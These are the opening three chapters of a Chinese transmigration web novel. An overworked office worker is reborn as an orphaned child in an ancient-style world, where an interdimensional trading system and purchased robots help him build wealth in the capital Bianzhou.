《知否盛老太太的双生子》 1. 第 1 章 《知否盛老太太的双生子》全本免费阅读 黑夜笼罩下的森林,粗壮参天的树木、杂草丛生的土地、飘忽不定的迷雾、幽暗的光芒、时不时响起昆虫的鸣叫声以及风声等,形成了一种阴森恐怖的场景,让人不寒而栗,杀伤力堪比恐怖片。 在森林中,有一株宛如巨人般的树,又粗又壮,远看又像是一把撑开的巨伞,粗壮的奇形怪状的树枝像龙一样在树上盘绕着,微风吹过,枝叶发出簌簌的响声,犹如龙的叹息声。 夜光照在这颗树下,撒在一个看上去有六七岁的孩子脸上 ,只见孩子正在树下自言自语,如果有人在这里一定会惊讶,这里为什么会出现一个孩子,毕竟夜晚的森林连大人都不敢涉足,更何况是一个孩童呢。 这个孩子虽然外表看上去六七岁,但身体里的灵魂已然换成了一个来自二十一世纪的成年人盛瑾。 盛瑾从睁开眼看到自己孩童般的身体后,便一直处于一种震惊的状态,过了许久,他才回过神来环顾四周,映入眼帘的便是树木和草丛,不用猜都知道是森林。 盛瑾一会儿低头看着自己的小手,一会儿抬头看看四周的环境,脑海中闪过两个字“穿越”。 盛瑾没想到这么玄幻的事情居然让他碰上了,他盛瑾,一位三十一岁矜矜业业工作的小白领,普通到不能再普通的人居然穿越了,不仅穿越了,还返老还童了,就是这穿越的初始地让他心里有些崩溃。 盛瑾脸上露出欲哭无泪的表情,心想:“天爷啊,我得罪谁了,为什么要把我送到这鸟不拉屎的地方,我还没出去呢,可能就喂了山中的野兽了,如果想让我投胎,何必多此一举穿越呢。” 盛瑾看着眼前的场景,越看越觉得阴森恐怖,赶紧转移自己的注意力,开始回忆有关自己穿越之前的事情,最终得到的结论是他穿越之前还在工作。 当时的盛瑾怎么也没想到前一秒他还在桌前努力工作着,后一秒他就穿越了,仅仅只是一个晚上的时间,他就穿越了,真是应了那就话“你永远不知道明天和意外哪个先来到。” 盛瑾觉得他熬夜工作猝死的概率很大,想到这里,他在心里调侃道:“估计我能在报纸上站一小块版面,标题是触死的“劳模”,呵呵,不知道公司会不会为了我这在岗位上尽忠的人员发奖金呢?” 盛瑾想到这里觉得自己八成是魂穿了,但是他又抱有一丝希望,希望他是身穿,如果是魂穿,他不知道自己占据这具身体时,这个孩子是死是活,毕竟小孩的死活对他而言很重要,他没办法心安理得的抢夺一个孩子的生命。 正当盛瑾还在思考这个问题时,脑海里突然出现了一个冰冷的声音:“你好,宿主,我是150号系统,由于系统在进行时空跳跃时,不小心造成了宿主的事故,所以系统带宿主来到了这里。” 盛瑾听到这冰冷的声音时,没有感到惊讶,毕竟对于一个经历了穿越加返老还童的人而言,系统什么的就没有多奇怪了。 盛瑾急忙向150号系统询问道:“那这具身体的主人去哪了呢?我来的时候,他还活着吗?” 150号系统冰冷的声音再次响起:“宿主,没有抢夺任何人的生命,这个身体的主人在宿主到来时,就已经消失了。” 盛瑾听完150号系统的回复,他心里的石头便放下了,还有心思调侃自己,道:“我就说嘛,像我这样怕死的人,平时可注意安全隐患和身体健康了,怎么会因为一次熬夜就触死了呢?” 150号系统用解释的语气,反驳道:“宿主在原世界已经死亡了,而且死亡原因就是过劳猝死,不然,宿主也不会穿越了。” 盛瑾听到150号系统的话,表情有些抽搐,心想:“这个系统可真是直白啊!”突然,他又想起自己的存款和保险赔偿金,那可是一大笔钱啊!对了,还有那套对他而言意义非凡的房子。 盛瑾想着知道这笔钱有没有按照自己的遗嘱来执行,便开口询问道:“那么我的遗产有没有按照我的遗嘱执行呢?” 150号系统冰冷的声音响起道:“是的,公司的补偿款、宿主的存款、保险赔偿金以及宿主名下的房子折成的现金都按照宿主的遗嘱全部捐赠给了宿主指定的那家孤儿院。” 盛瑾听到150号系统的回答,脸上露出一丝笑容,调侃道:“那就好,人没有,有钱留给孤儿院的孩子们也不错。” 盛瑾说着又不禁想起院长阿姨和孤儿院里的孩子们,希望他们不要因为自己的死而太过难过了。 盛瑾还记得他是九岁时来的孤儿院,回想起初来乍到时的忧心,在孤儿院的院长阿姨和工作人员的关心爱护以及其他孩子的帮助下逐渐消失。 盛瑾也在日常相处中慢慢产生了归属感,等他再大一点后,便开始和其他大孩子一起帮着院长阿姨她们干一些小事情,在这样的氛围下,无论是孩子们之间的相处,还是孩子们和大人们的相处都十分融洽。 这也使得从这家孤儿院长大出去工作的孩子们,他们之间也会相互联系,有时候还会一起回来到孤儿院,帮院长阿姨她们照顾孩子,又或是给孤儿院捐些钱或日常用品等东西。 对于盛瑾而言,这所孤儿院不仅让他衣食不缺,还有关心爱护他的院长阿姨和其他看着他长大的人,因此这所孤儿院对于他而言是一个港湾般的存在,以至于他大学毕业后仍会抽空回来看看以及帮忙照顾一下小孩子。 其实盛瑾心里有个秘密从来没有对任何人说过,他不是一名孤儿,准确来说,他的亲生父母在他出生后,便将他抛弃了。 盛瑾在他还未来到孤儿院前,便知道一些关于他亲生父母的事情,毕竟在他九岁前是由他外公的姐姐扶养的,也就是他的姑外祖母。 盛瑾对于他亲生父母的了解,只有他们那长达九年的恋情和关于盛瑾出生时发生的一些事情,这些消息都是来自于他的姑外祖母。 盛瑾的父母从初中到大学都是同校同学,而他们也是从初中相恋到大学的,准确来说,他们九年的恋情分为两部分,前六年的如胶似漆,最后三年的争锋相对,可能他们自己也没想到五年的感情居然在大学期间变得异常脆弱。 盛瑾的父母一直坚信他们的恋情会有一个美好的结果,而且他们双方还约定了大学一毕业就结婚的诺言。 盛瑾的父母在这种共识下,一进大学就瞒着家里人搬出来同居了,很可惜的是他们如胶似漆的感情在大学第二年就出现了争吵,只不过双方都不舍得轻易结束这段感情,又维持了两年,直到他的母亲在大学最后一年意外怀上了他。 盛瑾的父母本来是不打算将他生下来,但是医生说他母亲的身体不适合打胎,因此他的母亲只能选择瞒着家里人将他生下,也是这个原因,他的父母继续维持着他们那岌岌可危的感情,直到盛瑾出生后,没多久,他们的感情也正式宣布破裂了,此时的盛瑾已然不是他们的爱情结晶,而是他们甩不掉的包裹和烫手山芋。 盛瑾的父母没有办法再继续隐瞒他的存在了,于是他们向自己父母坦白了盛瑾和他们感情破裂的事情,据他姑外祖母所说,当时,他的母亲挨了他外公一巴掌和训斥,而他的父亲被他爷爷揍了一顿,可是他们咬死不可能结婚。 盛瑾不知道接下来的事情是如何发展的,反正最终的结果是他被姑外祖母收养并离开了那个地方,看样子,双方父母在孙子和儿女之间选择了儿女。 盛瑾对于自己亲生父母的情感有些复杂,但是他没有闹着找他父母,因为他觉得他的父母应该不想自己去打扰他们现在的生活吧,毕竟他们已经有了新的家庭。 盛瑾在他九岁时更加确定当初的想法是正确的,因为扶养他的姑外祖母去世后,政府工作人员联系了姑外祖母的亲人时,对方明确表示不愿意扶养他,他知道姑外祖母未婚,亲人只有他的外公一家,最后他选择了去孤儿院,靠着孤儿院的照顾和他姑外祖母留下的一些积蓄读完了高中后,又自己努力打工上了大学。 盛瑾从没有想过姑外祖母会给他留下一套小房子,毕竟一个孩子那里知道房子的事情,更何况他那时还沉浸在失去亲人的痛苦中,若不是因为这套房子在城市规划范围内,政府人员因为需要他这位房子主人到场处理些事情而联系他,他还不知道他有套房子呢。 等盛瑾来到指定地方办完手续后,向工作人员询问了房子过户日期,才想起七岁时,姑外祖母带着他去一个地方办了些事情,年幼的他怎么也没想到居然是在办过户手续,就这样他意外的得到了一套房子和三十万的现金。 盛瑾想起姑外祖母常常对他说得话:“盛瑾,无论什么时候,你都要好好活着,开开心心的过日子,他们不要你,不是你的错,你无需在意他们的想法。” 盛瑾处理好房子那天,他感觉自己心里暖洋洋的,这个房子象征着姑外祖母对他的关系爱护,让他觉得自己并非是个不受亲人待见的孩子,心想道:“原来姑外祖母并不像她外表一样冷冰冰的,她对自己还是有感情的。” 盛瑾想到这里脸上不由得挂起一丝微笑,过了一会儿,他回过神来,询问150号系统道:“我想请问一下,我现在处在什么样的朝代呢?” 150号系统冰冷的声音再次回响起来道:“宿主处于一个类似你那个世界古代时期社会风气的世界,这里不属于宿主原来所处的世界,因此宿主的所有行为都不会影响到您原本的世界运行轨迹。” 盛瑾听到150会系统这么说,接着询问了一个他最关心的问题,道:“那我要如何在这个世界生存下去呢?你会帮助我吗?” 150号系统回道:“很抱歉,宿主,因为携带宿主跳跃时空,导致系统的能量不足,需要进入休眠状态,苏醒时间待定,但是系统将会补偿宿主一个空间,以及为宿主开放位面交易功能与资料查找功能。” 没等盛瑾再开口,150号系统直接回道:“现在开始为宿主传送开放位面交易功能与资料查找功能的使用方法及其说明,以及这身体的记忆。” 150号系统的话音刚落,盛瑾便感到脑海中像是有什么东西不断挤进来一样,头疼欲裂,等他再次醒来时,天已经亮了。 盛瑾醒来后,便开始呼唤150号系统,可惜没有得到什么回复,他心里想:“这个系统真是急着进入休眠状态啊!一点准备时间都不给我啊!疼死我了。” 盛瑾想是这样想的,但是对于150号系统补偿的空间,他还是十分满意的,根据150号系统传送的资料来看,这个空间里有一个一比一复制的城市,还是他所在的城市呢。 其实盛瑾不知道这个空间是150号系统意外得到的,里面起初只有一片空地,150号系统觉得将这样的空间补偿给盛瑾有些亏心,便给盛瑾弄了个城市进去。 盛瑾在150号系统这里得到了这具身体记忆,他从中了解到了这个孩子也叫盛瑾,是一个被老猎户收养的孤儿。 一个月前,老猎户去世了,这个孩子再次变成孤儿,开始独自生活,可是六岁的孩子如何能自己生活呢,这不出了意外。 盛瑾想到这里,为小男孩难过了一下,随即开始尝试使用自己获得的东西,毕竟这是他未来生活的依靠,他得熟练运用才行啊! 盛瑾按照脑海中的使用方法,打开了位面交易功能,一大堆信息扑面而来,密密麻麻的,看的他眼花缭乱的,他平复了一下心情,一个个浏览着这些信息,想从中找到对他有用的东西,突然他被一条信息吸引。 这条信息在售卖一种东西,名为生子蛋,功能是孕育孩子,使用将一个人或两个人的血滴在蛋上,在血液被蛋吸收后,可以孵化出自己的孩子。 盛瑾和他姑外祖母一样,对结婚没有什么执念,在加上他的身世,使得他不太相信什么爱情之类的东西,但是他喜欢小孩子,不然他也不会时常抽空回到孤儿院照顾孩子们,如果还在21世纪,他很大概率不会拥有自己亲生的孩子。 生子蛋的出现让盛瑾心动不已,他心想:“如果要在这里待很久的话,有一个自己的孩子也不错。” 盛瑾这样想着,果断点击变换器改变样貌,点击联系了对方,接通后,视频上出现了是一个东方少年,笑起来有酒窝。 对方的样貌让盛瑾感觉到亲切感,再加上他处于人迹罕至的森林中,所以他对这个卖家很有好感,只见这位少年微笑着说:“您好,请问一下您需要什么吗?” 盛瑾厚着脸皮询问道:“我想问一下,我没有积分,可不可以用东西来交换那颗生子蛋呢?您有什么需要的吗?” 少年思考了一下说:“可以,您那里有绿色植物吗?我这里属于星际世界,缺少绿色植物,如果你有的话,我可以先向您购买,然后,您便有积分向我购买了。” 盛瑾见少年这么说,就地取材,在草地上挖了一大块草,有些脸红的问道:“这种植物可以吗?”他觉得自己这么做有些敷衍卖家。 只见少年两眼放光的看着他手中的草,语气有些激动道:“当然可以,你现在要进行交易吗?我这边马上准备好。” 盛瑾正想回答少年时,突然想到以前看得星际电影里的机器人,既然对方有生子蛋这么神奇的东西,那他会不会有机器人呢。 盛瑾不是三岁小孩,他知道在古代,安全是一个大问题,尤其是一个孩子,如果盛瑾一个小男孩独自外出碰上坏人,简直是给对方送人头啊! 盛瑾知道自己身上有许多神奇的东西,如果随便找一个成年人来保护他,他都要提防对方发现自己的奇异之处,机器人就不一样了,相比起这个时代的人而言,机器人对他是抱有绝对的忠诚,有了机器人,他的这些烦恼也将不复存在。 盛瑾回过神来,看着少年等着自己回答,便开口道:“请问一下,你有没有机器人可以售卖呢?” 少年面带微笑回道:“当然,您想要什么样类型的机器人吗?我这里有各种各样的机器人,有保镖型、管家型、农作型等等。” 盛瑾在听到保镖型机器人时,眼中闪过一丝 2. 第 2 章 《知否盛老太太的双生子》全本免费阅读 天亮了,太阳升起了,炙热的阳光洒入森林,透过树叶照在地上,在地上透出点点斑驳。 一棵棵参天的大树,仿佛在贪婪的享受着每一寸阳光带来的安详与温暖,他们想长的更高,享受更多的温暖,阳光拉长着它们的影子,这无数的影子交织在一起,暖暖的阳光毫不吝啬地挥洒在这片森林里。 当盛瑾走出森林后,回头望向这片森林,有些文艺气息道:“再见了,森林,我来到这个世界的初始地。”随后便和三个机器人一起朝着记忆中村子的方向走去。 盛瑾一行人刚进入村子,映入眼前的是一座座茅屋,还有几个青砖瓦房,盛瑾心里想着,那几个青砖瓦房应该是村子里比较富裕的人家了。 盛瑾与机器人们随着他的记忆来到其中一个青砖瓦房,这就是村长家了,他对着村长家的门敲了几下,听到里面传来一声浑厚的男声,“来了,来了,等一下。” 过了一会儿,有人开了门,开门的是村长的儿子牛大,牛大一脸震惊的看着盛瑾和他身旁的三个人,他愣了一会儿。 盛瑾见状,没等牛大开口询问,便对着他面带微笑道:“牛大哥,牛叔(村长)在家吗?我有事找他。” 牛大听到盛瑾的话,脸上带着些许憨厚的笑容,回道:“我爹在家呢,瑾哥儿你不用这么早来的,快进来吧。” 牛大一边热情的将盛瑾一行人迎进院中,一边冲着里面大喊到:“爹,瑾哥儿有事找你。” 牛大的声音很大,过了没多久,村长便从屋内走出来,看到盛瑾时,脸上浮现出慈祥的笑容,而后看到了后面的三个人时呆了一下,一位面带微笑、带着威严的老人和两个看上去像是护卫的人。 村长心里不由得浮现一丝担心,随即看向盛瑾的眼神中透露出一丝关心,语气有些紧张的询问道:“瑾哥儿,这几位是谁呢?” 盛瑾看到村长关心自己的样子,心里有些触动,随即面带微笑道:“牛叔,这三个人是我前几天在山上碰到的,我瞧着夜深了,便收留他们住了几天。” 一旁由A型保镖机器人变成的老人接着盛瑾的话道:“村长不用担心,我是海外云游回来的隐士,路经此地,与瑾哥儿相遇,相处几天后,觉得与此子有缘,想着他无亲无靠,便起了收他为自己的关门弟子心思,我与瑾哥儿提起此事,他同意成为我的弟子,但要求我要带他来与村长你告别。” 村长打量着眼前的老人,心里十分纠结,他有些不放心将盛瑾交给这位老人,但是又想到盛瑾在村子里无依无靠的,自己在日常生活也帮不了盛瑾多少事情。 A型保镖机器人没有给村长多少纠结的时间,便开口道:“这些是感谢村长这段时间的盛瑾照顾的谢礼。”随着他的话音刚落,身后的两个机器人便将让准备好的礼物端了上来。 A型保镖机器人的行为间接向村长展示了自己的财力,盛瑾眼中不起眼的布料放在这个地方算得上是好东西了,更何况还有一个精致的银锁,这东西至少值三两银子。 村长瞧着这些东西是费了心思的,尤其是那银锁,一看就是为他那出生没多久的孙子准备的。 村长看着这些东西,突然觉得盛瑾跟着这位老人家生活怎么样都比他在村子里无依无靠生活强,毕竟从这位老人家出手的礼物来看,在生活上必然不会亏待了盛瑾。 村长看着了一眼A型保镖机器人,语气恭谨道:“这位老爷愿意收瑾哥儿为弟子,是瑾哥儿的荣幸,我们与瑾哥儿没有多大的恩情,相反瑾哥儿的爷爷对我们一家有恩,所以请您将东西收回。” 牛大在盛瑾一行人进来后,全程默不作声的听着他们说话,直到看到那两个人手里的东西时,说不心动是假的,但是他觉得自己父亲说得对,便出声附和道:“这位老爷,我爹说得对,你还是收回去吧。” 双方开始陷入僵持,主要是A型保镖机器人沉默不语,村长和他儿子牛大一直推拒,屋外的动静吸引了屋内的人。 村长妻子和儿媳妇闻声而出,村长儿媳妇手中还抱着一个婴儿,显然是村长刚出生的孙子。 盛瑾看着她们不明所以的样子,随即拿起银锁,跑到村长儿媳妇面前,在她没反应过来前,直接将银锁给婴儿带上了,只见婴儿长得胖乎乎的,圆圆的脸蛋上长着一双调皮的大眼睛,眼珠忽闪忽闪的,好似两颗水灵闪亮的黑葡萄。 村长孙儿好似得到了一个新玩具般,两只小手抓着胸前的银锁玩耍起来,边玩边开心的笑出声来。 盛瑾见状,脸上露出一抹笑容,语气柔和,道:“瞧,我这个侄儿真可爱,看来他挺喜欢我准备的礼物。” 村长儿媳妇呆愣在原地,显然没反应过来,一旁村长妻子反应迅速,她就算不知道发生什么事情,也知道不能随便收盛瑾这么贵重的东西,急忙开口道:“瑾哥儿,这个太贵重了,婶子不能收。” 村长妻子瞧着自己孙儿胸前的银锁,看上去就十分精致,起码值三两银子,显然村长夫妇在银锁价值估算上十分默契。 村长儿媳妇听到村长妻子的话,急忙道:“对对对,娘说得对,我们不能收。”说吧,便要将婴儿身上的银锁取下来还给盛瑾。 盛瑾闻言,抬手阻止了村长儿媳妇,看向村长妻子,面带微笑,道:“牛婶,不必这么客气,咱们两家这么多年的感情了,你就收下吧,再则,这算是我这个做叔叔临行前送给小侄子的礼物吧。” 村长妻子闻言,那还管的上什么银锁,一把抓住盛瑾的手,脸上流露出惊讶的神色,语气急促道:“临行前,瑾哥儿你要去哪啊!” 盛瑾看到村长妻子一脸担心他的表情,心想感叹着村长一家和老猎户的感情之深啊!随即便将他要离开村子的事情和她简短的交代了一下。 村长妻子听完后,将目光看向了A型保镖机器人那里,打量了一会儿,又将目光转向了村长那,看见村长向她点了点头后,便松开了盛瑾,可见村长夫妇间的信任之高。 盛瑾随即转过身来,看着村长说道:“牛叔,您就收下这些东西吧,就当是以后我不在时,您帮忙照看爷爷坟墓的回报吧。” 村长见盛瑾这么说,也就不好再说什么了,他脸上流露出一丝不舍,道:“瑾哥儿,你要去哪里,还回不回来看看呢?” 盛瑾不太确定自己的计划,便推到A型保镖机器人身上,道:“我不确定,有可能几年后就回来,有可能是十几年才回来,看我师傅的想法。” 村长看着盛瑾,眼中闪过一丝不舍,道:“瑾哥儿,若是可以,你便回来看看你爷爷和牛叔。” 盛瑾见状,一脸正色的点了点头,道:“我会的,对了,牛叔,我想去爷爷那里磕个头,你能和我一起去吗?” 村长听到盛瑾这么说,直截了当道:“当然可以。” 一旁村长妻子、儿子、儿媳立即表示他们也要陪着盛瑾一同前往,被盛瑾以孩子为由决绝了他们的提议,但是村长不同意,最终的结果只有村长夫妇陪着盛瑾去。 等盛瑾的事情办完后,村长夫妇又将他们送到了村口,村长妻子拉着盛瑾不停交代着他要照顾好自己这样的话,过了好一会儿,盛瑾与三个机器人便在村长夫妇依依不舍的目光里离开了村子。 盛瑾一行人离开村子后,来到了村子附近的县城上,盛瑾让机器人去镇上当了一个成色不错的玉镯子,拿到了一百两,找了一家客栈住下了。 盛瑾在这个县城住了几天后,对于这里有了一个大概的了解,他若是要离开这个县城还需要去县衙办路引,这倒是不难,他已经让机器人去办了,要不了几天路引就会办下来了。 盛瑾现在要思考一下自己接下来的计划了,他坐在桌子前,面前放着空间里拿出来的纸和笔,思索片刻后,他拿起笔在纸上书写自己的古代生活计划,第一条:在古代想要生活的自在就必须有钱和地位。 盛瑾对于银钱这方面倒是不担心,通过这几天在县城上调查到的结果来看,这个时代的玻璃制品是十分贵重的,所以空间里面那些现代批量制造的玻璃制品对于这个时代而言是珍贵的物品。 这就意味着盛瑾所拥有的玻璃制品等同于一大笔的巨款,只是这笔巨款不能全部兑现,毕竟物以稀为贵这个道理谁都知道,既然只能少量出售,那出售的地方要好好计划了,这样才能卖出高价来。 其次便是地位了,在古代士农工商这四个字可不是说说的,读书人这个身份地位可是很高,所以盛瑾想要提高自己的地位,最好的路径就是科举。 盛瑾想了想科举要读的书籍,突然觉得自己最好先解决银钱再思考地位的问题吧,不然,他觉得自己的脑子可能会罢工吧。 盛瑾决定前往这个朝代的首都汴州,因为汴州是天子脚下,也是最富贵的地方,在汴州出售玻璃制品能获得最多的利益,况且他也想领略一下汴州风景是如何的,再者,若是真决定走科举这条路的话,汴州也能买到更多的书籍。 盛瑾思虑至此,便决定看看位面交易系统中有什么东西对他这趟汴州之旅有用,尤其是有没有什么乔装打扮的物品。 盛瑾在接下来的几天里,一直浏览位面交易系统,这个位面交易系统的货币是积分,为此,他再次打开位面交易系统与前面那个星际的少年进行交易,换取了大量的积分,毕竟他是古代位面,东西要么过于平凡,要么用处不多,好不容易碰到一个交易对象当然是能攒积分就尽量攒积分以备不时之需。 盛瑾看了看这些天攒的积分,一共有3855积分,这全是来源于那个星际少年的贡献啊!他浏览了这么多天,发现自己在这个位面交易系统上没什么东西好卖的。 盛瑾一边在心里痛哭流涕,一边浏览着位面交易系统的页面,看看能否有所收获,突然,他看到有一个信息是关于丹药之类的东西,看起来像是修真之类的,他本着对修真位面的好奇心,点击打开,对面是一个仙气飘飘的年轻男人,看上去大概二十多岁的样子。 盛瑾看着对面自带生人莫近气场的年轻男人,调整了一下心态,然后,面带微笑,厚着脸皮问道:“请问一下,你有没有日常生活用品之类吗?”毕竟丹药这种东西看那价格能让盛瑾一朝回到解放前啊!对于盛瑾而言,买丹药,那是什么奢侈物品,他哪有那实力啊! 只见对面高冷的男人愣了一下,显然没想到有人会问关于丹药外的东西,但他没有回绝盛瑾的话。 那位高冷的男人思考了一会儿后,简短的说了一句:“有,30个积分一个储物袋,不过你能拿到什么就不一定了。” 盛瑾听着对方简洁明了的话,心里暗暗道:“这是符合气场啊!他平时都是这么做生意的嘛,我也真是的,管人家怎么做生意的,又不关我的事。” 盛瑾看着对方,没忍住自己的好奇心,问了一句道:“请问一下你们那里是修仙世界吗?就是那种能御剑飞行的。” 对方显然没想到盛瑾会突然问这么一个问题,他想了想自己从拥有这个位面交易系统后,那可怜的寥寥几笔交易,耐着性子点了点头。 盛瑾随即两眼放光,想要和对方多聊几句,但双方都不熟悉,不好意思开口,心想:“等我和他多做几次交易变成熟人后再问也不迟。” 盛瑾想着自己还需要什么时,突然想到他还没有马车呢,这咋去汴京,于是试探性开口道:“请问一下您这里有没有马车和马匹吗?” 对方思考了一下,说:“有,马车我可以给你炼制,但是马匹,我看了一下位面交易系统规则,不能交易危险物种,所以我只能给你普通马匹,若是你需要,那你还要等三天才能交易,这个收你100个积分。” 盛瑾听完,颇有些财大气粗的气势,道:“没问题,除了马车外,再给我来20个储物袋,谢谢。” 对方仍旧保持高冷人设,看着盛瑾点了点头,语气冰冷道:“三天后,记得来取。”随后便下线了。 盛瑾看对方下线了,猜测他估计是去弄马车了,便开始计算自己的积分还有多少,买了20个储物袋和一架马车,包括马匹,一共花了700积分,还剩下3155积分。 盛瑾心里松了一口气,想着:“这段时间还有积分花,不过我得找找什么可以长期售卖了,不然只靠买植物收入也是不成的,毕竟买的人太少了,雷诺那边已经被我薅得差不多了,唉,挣积分真难啊!” 盛瑾通过这么多天和星际少年的交易,已经成功和对方混熟了,并且还收获了对方的名字。 盛瑾心想:“雷诺,这个名字和对方的外表真不符合啊!不过,人倒是挺好的,这段时间的交易挺照顾我的。” 盛瑾将目光放在了储物袋上,心想:“能不能回本就看这20个储物袋了。”于是便抱着开盲盒一样的心态来开储物袋了。 盛瑾打开储物袋将里面的东西倒出来,随即便被眼前的东西惊呆了,珠宝玉器,布匹,武器,餐具,衣物应有尽有,堆的小山似的。 盛瑾开心到飞起来,这感觉像是中彩票一样,随即便迫不及待的打开其余的储物袋,发现这些储物袋大差不差的都是生活用品,一点也没有修真界的东西。 盛瑾想着估计是被人检查过一遍了,里面还有男女的衣服,八成是打家劫舍来的,想来这些东西在修真人眼里估计是破铜烂铁一般吧。 盛瑾摇了摇头,心里喜滋滋道:“管他的,没想到这在修真界收破烂还能发家致富啊!呸呸呸,什么收破烂啊!我这分明是回收再利用啊!造福你我他。” 盛瑾满脸笑容的看着这些东西,心情是越看越开心啊!于是他马上开始清点起他的收获的东西。 盛瑾认真的看了一下,光布匹就有上百匹,这些布匹看上去飘逸、柔软、明亮、鲜艳、细密,不知道是用什么织出来的,看上去华贵无比,一看就是装逼利器啊! 至于珠宝之类的,不得不说盛瑾被修真人吓了一跳,他看到有十几盒珍珠,个个饱满丰润,并且每盒珍珠的颜色都是不一样的,有紫、黑、粉等。 这十几盒珍珠的总量应该在五百颗以上,目测这些珍珠的直径在一至三厘米之间,而且每盒里面的珍珠都是一样大小。 盛瑾感叹道:“怪不得人们常说修真这能上天入地呢,这看来是真的了,这些个珍珠可不是古人能下海得的。” 盛瑾接着翻找,又找出了一盒夜明珠,看上去有十几个,小的有龙眼般大小,大的有拳头般大小,除了珍珠、夜明珠之外,还有各式各样的珠宝首饰,让人眼花缭乱。 还有衣服,修真者的衣服看起就是不一样啊!女式衣服有华贵端正的、可爱精致的等等,男式衣服有威仪不凡的、风雅的等等,其余的也是一样,还有各式各样的餐具。 盛瑾在心里感慨道:“果然,装逼这件事情是不分男女国界位面啊!修真界出品必是精品啊!” 盛瑾觉得自己一个人可能统计不完这些东西,便拉上几个机器人一起将东西分门别类整理好,然后,将它们放入空间里。 那位修真界交易者效率还不错,至少对于盛瑾而言效率挺高的,他从对方口中知道炼制马车只用了一天半,之所以对方说三天是因为他没炼制过马车,要给自己充足的时间来尝试。 三天后,盛瑾便收到马车,而且路引也办了下来,所以盛瑾一行人在当天便踏上了去往汴州的路。 一个半月后,盛瑾一行人顺利到达了汴州,通过这次行程,他发现在修真世界购买的那辆马车,不知为何行驶的比别的马车更快,可能是马的原因,也可能是马车的原因,他没有深究,只将这当成了马车特殊的隐藏功能吧,这对于他而言是个惊喜。 在去往汴州的这段时间里,盛瑾也不闲着,利用空闲时间,登录位面交易系统,又用了不少的植物与雷诺换取了积分,如今他有6300积分。 盛瑾回想起雷诺那有些舍不得却又忍不住喜爱的眼神,他感觉自己应该已经将雷诺薅秃了吧。 盛瑾看着这些积分,不由得感慨:“星际世界植物真是太少了,正是如此,我才会有个固定客户啊!” 不过话又说回来,通过这一个半月,盛瑾发现这个空间里不只有一个城市,还有一片湖水。 这个空间给盛瑾的感觉,就像是那座城市是被放在空间里的,再加上他在空间里发现了一片湖,更让他坚定了这种感觉,毕竟按照150号系统给他传送的信息中,这个空间除了城市外便是土地了。 盛瑾感觉150号系统没有看过这个空间,至少在将空间给他前,没有仔细观察过空间是否发生变化。 事实上,盛瑾没有猜错,150号系统拥有这个空间的时间不长,当它看到这个空间只有土地时便对此失去了兴趣,所以它将这个空间作为补偿送给了盛瑾,为了不让盛瑾拒绝,它还特意塞了个城市进来。 盛瑾除了一片青涩见底的湖水,还看到一片桃林,处在他上次吃桃子吐壳的地方,他怀疑这片桃林是他吐过的桃壳长成的,为此他还特意做了一番实验,没几天,他扔桃壳的地方长出了一片桃林,这个实验证明了他的想法,让他宛如发现宝物一般兴奋 3. 第 3 章 《知否盛老太太的双生子》全本免费阅读 盛瑾在空间里的七十年,起初他是安心读书习字的,后来有一天他突然想到自己手上还剩三万四千多两白银,这些钱放在空间里也没什么用,又不会给他钱生钱,但若是用来买田产铺子之类的,那谁能帮他管理这些东西呢。 盛瑾正思考着这件事情时,A型保镖机器人进入了他的视线范围,他灵光一闪,心想:“雷诺那个世界既然能有保镖机器人,没道理没有可以管理事务的机器人啊!”于是他立即联系了雷诺,向他咨询是否存在这种管理事务的机器人。 雷诺的回复如盛瑾所想的一般,他那里的确有这种机器人,并且他在得知盛瑾的需求后,还贴心的给盛瑾推荐起了适合他的机器人。 盛瑾有了雷诺的推荐当参考意见,也如愿得到了他想要的管家型机器人,不仅如此,他还从雷诺那里购买了一台电脑可以连接到管家型机器人身上,可以通过管家型机器人看到空间外的场景,并与对方随时联系。 盛瑾想着之后这名管家型机器人要在外面活动,自然需要一个名字,他为其取名为盛昀,本着不厚此薄彼的想法,他又为A型保镖机器人取名为盛俊,因为他觉得A型保镖机器人的外貌相对于其他B型保镖机器人而言比较英俊,顺带还升级了这两人的系统使其更拟人化了。 盛昀拿着盛瑾给的三万四千多两银子,在汴州城里买了五间店铺、一个三进的院子和一个两进的院子,说起来盛瑾也是运气好,现在的朝廷还处在修养生息阶段,又碰上有人一次性出售大量铺子和院子,才能以低价购入这五间铺子和两个院子。 盛昀除了购买院子和铺子外,还有找人牙子买了十五个人,对他们进行礼仪等仆人方面的调教后,派他们看院子。 盛瑾对于空间里生产的大量物资甚是头疼啊!主要是他当初和雷诺买的农业型机器人和探索型机器人太过于给力的原因。 尤其是探索型机器人,它们在外出时,不仅会给盛瑾带来金、银、铜等各种矿石,还有各种各样的东西和动物,例如:有的机器人居然为盛瑾带来了雪山上的玉矿石,有的机器人带来了海里的东西等,探索型机器人给盛瑾一种雁过拔毛的感觉,不过受益者是盛瑾,所以他的感觉还不错。 由于探索型机器人的努力建设,盛瑾的空间开始逐渐出现海洋、雪上、平原、草原、森林、山川等地形,慢慢的形成了一个小世界。 农作型机器人不停的耕种收获,再加上马、牛、羊、犀牛、熊等等在这里生活的极好,导致空间里的动植物泛滥成灾。 尤其是牛羊鸡鸭和农作物在空间里的数量最多,牛羊鸡鸭数量过多是因为它们生活在农作型机器人附近,其他凶猛动物不敢靠近,为此盛瑾不得不向雷诺采买各种各样的加工工具和建筑型机器人、采矿型机器人。 盛瑾专门让建筑型机器人在农业型机器人开坑的农田不远处建了两个巨大的仓库,就是用来分门别类储存机器人宰杀加工的动物和收获的农作物。 至于采矿型机器人是用来开采空间里的金、银、玉等矿石的,因为空间具有成长性,采矿型机器人只要在不破坏空间成长性范围内开采矿产资源,都能保持矿产增长在可持续范围内。 自从盛昀买了这五间铺子后,空间里面的农作物和动物就有了去处了,他将这些东西放在铺子里卖,可算是给盛瑾解决了一个烦恼啊! 盛瑾为了防止这些农作物和动物繁衍过多,便圈花了两块地,一块地给农业型机器人耕种,又让雷诺给这群机器人下载些养殖资料,随便饲养另一块地的牛羊鸡鸭。 雷诺对此十分熟练,毕竟之前这群机器人宰杀加工储存动物的资料也是他下载进去的,他顺便给盛瑾那群已经无所事事的探索型机器人下载了同样的资料,不过这次他给盛瑾所有的机器人都下载了海陆空采集种植养殖资料,以防盛瑾再一次为此找他。 盛瑾对此十分感激,多给雷诺传送了几株植物呢,毕竟在他积分不多的情况下,这群机器人虽不如专业机器人精通但也够用了。 等建筑型机器人建完空间里的仓库和房子后,盛瑾为了不让建造型机器人闲置浪费才华,将这群机器人派去为他重新建造汴州的院子以及装修铺子,所用材料出自空间。 